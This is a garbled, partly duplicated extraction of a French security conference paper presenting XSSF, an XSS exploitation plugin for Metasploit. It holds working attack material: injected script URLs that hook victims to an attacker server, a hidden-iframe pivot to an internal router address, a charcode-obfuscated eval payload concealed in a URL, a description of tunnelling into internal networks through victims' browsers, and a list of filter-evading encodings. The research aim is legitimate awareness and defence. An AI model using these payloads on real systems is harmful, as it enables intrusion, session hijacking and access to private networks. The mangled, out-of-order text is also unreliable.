ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 18: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

